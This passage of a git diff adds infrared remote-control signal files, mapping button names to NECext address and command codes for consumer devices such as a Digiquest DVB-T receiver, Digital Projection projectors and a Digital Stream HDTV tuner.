1 +# +name: YELLOW +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 00 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 03 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 04 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 05 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 06 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 07 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 08 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0B 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0C 00 00 00 +# +name: TTX +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0D 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0E 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0F 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 10 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 11 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 13 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 14 00 00 00 +# +name: TVRADIO +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 15 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 16 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 17 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 18 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 19 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 1A 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 1B 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 40 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 42 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 44 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 45 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 46 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 48 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 4A 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 4C 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 4D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 4E 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 50 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 51 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 52 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 54 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 55 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 56 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 58 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 59 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir b/assets/resources/infrared/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir new file mode 100644 index 000000000..aa68d625d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: RIGHT +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 00 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 01 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 02 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 03 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 06 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 07 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 0A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 0B 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 0E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 0F 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 11 00 00 00 +# +name: NAVI +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 12 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 13 00 00 00 +# +name: UNUSED +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 14 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 15 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 16 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 17 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 18 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 19 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 1A 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 1B 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 1C 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 1D 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 1E 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 1F 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 50 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 58 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir new file mode 100644 index 000000000..f13d76ea4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_-_PREVIOUS +type: parsed +protocol: NECext +address: 26 00 00 00 +command: 0E 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 26 00 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 26 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 26 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 26 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 26 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 26 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 26 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 26 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 26 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 26 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 26 00 00 00 +command: 19 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 26 00 00 00 +command: 1A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 26 00 00 00 +command: 1C 00 00 00 +# +name: CHANNEL_-_UP +type: parsed +protocol: NECext +address: 26 00 00 00 +command: 1D 00 00 00 +# +name: CHANNEL_-_DOWN +type: parsed +protocol: NECext +address: 26 00 00 00 +command: 1E 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 26 00 00 00 +command: 1F 00 00 00 +# +name: VOLUME_-_MUTE +type: parsed +protocol: NECext +address: 26 00 00 00 +command: 20 00 00 00 +# +name: VOLUME_-_DOWN +type: parsed +protocol: NECext +address: 26 00 00 00 +command: 21 00 00 00 +# +name: VOLUME_-_UP +type: parsed +protocol: NECext +address: 26 00 00 00 +command: 22 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 26 00 00 00 +command: 24 00 00 00 +# +name: BUY +type: parsed +protocol: NECext +address: 26 00 00 00 +command: 25 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Digital Projection/Projector/32,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Digital Projection/Projector/32,-1.ir new file mode 100644 index 000000000..e05d0c00c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Digital Projection/Projector/32,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 00 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 01 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: BRIGHTNESS_+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 03 00 00 00 +# +name: CONTRAST_+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 04 00 00 00 +# +name: COLOR_+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 05 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: BRIGHTNESS_- +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 07 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 08 00 00 00 +# +name: COLOR_- +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: VGA +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0B 00 00 00 +# +name: DVI +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0C 00 00 00 +# +name: COMPOSITE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0D 00 00 00 +# +name: AV-MUTE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0E 00 00 00 +# +name: COMPONENT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0F 00 00 00 +# +name: S-VIDEO +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 10 00 00 00 +# +name: STILL +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 11 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 12 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 13 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 14 00 00 00 +# +name: LEFT_KEY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 15 00 00 00 +# +name: RIGHT_KEY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 16 00 00 00 +# +name: GAMMA_- +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 17 00 00 00 +# +name: GAMMA_+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 18 00 00 00 +# +name: *_(STAR) +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 19 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1A 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1B 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1C 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1D 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1E 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 20 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 21 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 22 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 23 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 24 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 25 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 26 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 27 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 28 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 29 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 2A 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 80 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 81 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir new file mode 100644 index 000000000..b8fc847d5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir @@ -0,0 +1,452 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 00 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 00 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 01 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 01 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: DUAL_LAMPS +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 03 00 00 00 +# +name: BRIGHTNESS_+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 03 00 00 00 +# +name: LAMP_1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 04 00 00 00 +# +name: CONTRAST_+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 04 00 00 00 +# +name: LAMP_2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 05 00 00 00 +# +name: COLOR_+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 05 00 00 00 +# +name: COLOR_TEMP_UNCORRECT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: BRIGHT_+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 07 00 00 00 +# +name: BRIGHTNESS_- +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 07 00 00 00 +# +name: CONTRAST_+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 08 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 08 00 00 00 +# +name: COLOR_+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: COLOR_- +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: COLOR_TEMP_+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: BRIGHT_- +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0B 00 00 00 +# +name: VGA +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0B 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0C 00 00 00 +# +name: DVI +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0C 00 00 00 +# +name: COLOR_- +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0D 00 00 00 +# +name: COMPOSITE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0D 00 00 00 +# +name: COLOR_TEMP_- +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0E 00 00 00 +# +name: AV-MUTE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0E 00 00 00 +# +name: SHUTTER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0F 00 00 00 +# +name: COMPONENT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0F 00 00 00 +# +name: ORIENT_LEFT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 10 00 00 00 +# +name: S-VIDEO +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 10 00 00 00 +# +name: ORIENT_RIGHT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 11 00 00 00 +# +name: STILL +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 11 00 00 00 +# +name: COLOR_TEMP_D65 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 12 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 12 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 13 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 13 00 00 00 +# +name: FOCUS +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 14 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 14 00 00 00 +# +name: IRIS +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 15 00 00 00 +# +name: LEFT_KEY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 15 00 00 00 +# +name: SHIFT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 16 00 00 00 +# +name: RIGHT_KEY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 16 00 00 00 +# +name: GAMMA_- +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 17 00 00 00 +# +name: GAMMA_+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 18 00 00 00 +# +name: STAR(*) +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 19 00 00 00 +# +name: *_(STAR) +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 19 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1A 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1B 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1C 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1D 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1E 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 20 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 21 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 22 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 23 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 23 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 24 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 25 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 26 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 26 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 27 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 27 00 00 00 +# +name: CURSOR_ENTER/LCD +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 28 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 28 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 29 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 29 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 2A 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 2A 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 80 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 81 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir new file mode 100644 index 000000000..24821cb35 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 09 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 10 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 11 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 12 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 13 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 14 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 15 00 00 00 +# +name: BRIGHTNESS_+ +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 18 00 00 00 +# +name: BRIGHTNESS_- +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 19 00 00 00 +# +name: CONTRAST_+ +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 1A 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 1B 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 1C 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 1D 00 00 00 +# +name: RED_BUTTON +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 1E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 1F 00 00 00 +# +name: PIP_ON/OFF +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 25 00 00 00 +# +name: PIP_SWAP +type: parsed +protocol: NECext +address: 3A 00 00 00 +command: 26 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir b/assets/resources/infrared/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir new file mode 100644 index 000000000..4587b95f5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 00 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 01 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 02 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 03 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 04 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 05 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 06 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 07 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 08 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 09 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 0A 00 00 00 +# +name: CC +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 0B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 0C 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 0D 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 0E 00 00 00 +# +name: FAV-CH +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 0F 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 10 00 00 00 +# +name: PREVIOUS_CHANNEL +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 11 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 12 00 00 00 +# +name: CURSOR_UP/CH+ +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 13 00 00 00 +# +name: CURSOR_DOWN/CH- +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 14 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 15 00 00 00 +# +name: CURSOR_ENTER/SELECT +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 16 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 17 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 18 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 19 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 1A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 1B 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 1C 00 00 00 +# +name: METER +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 1D 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_ADD +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 1F 00 00 00 +# +name: CHANNEL_DEL +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 40 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 41 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 42 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir b/assets/resources/infrared/_CSV-IRDB_/Digital 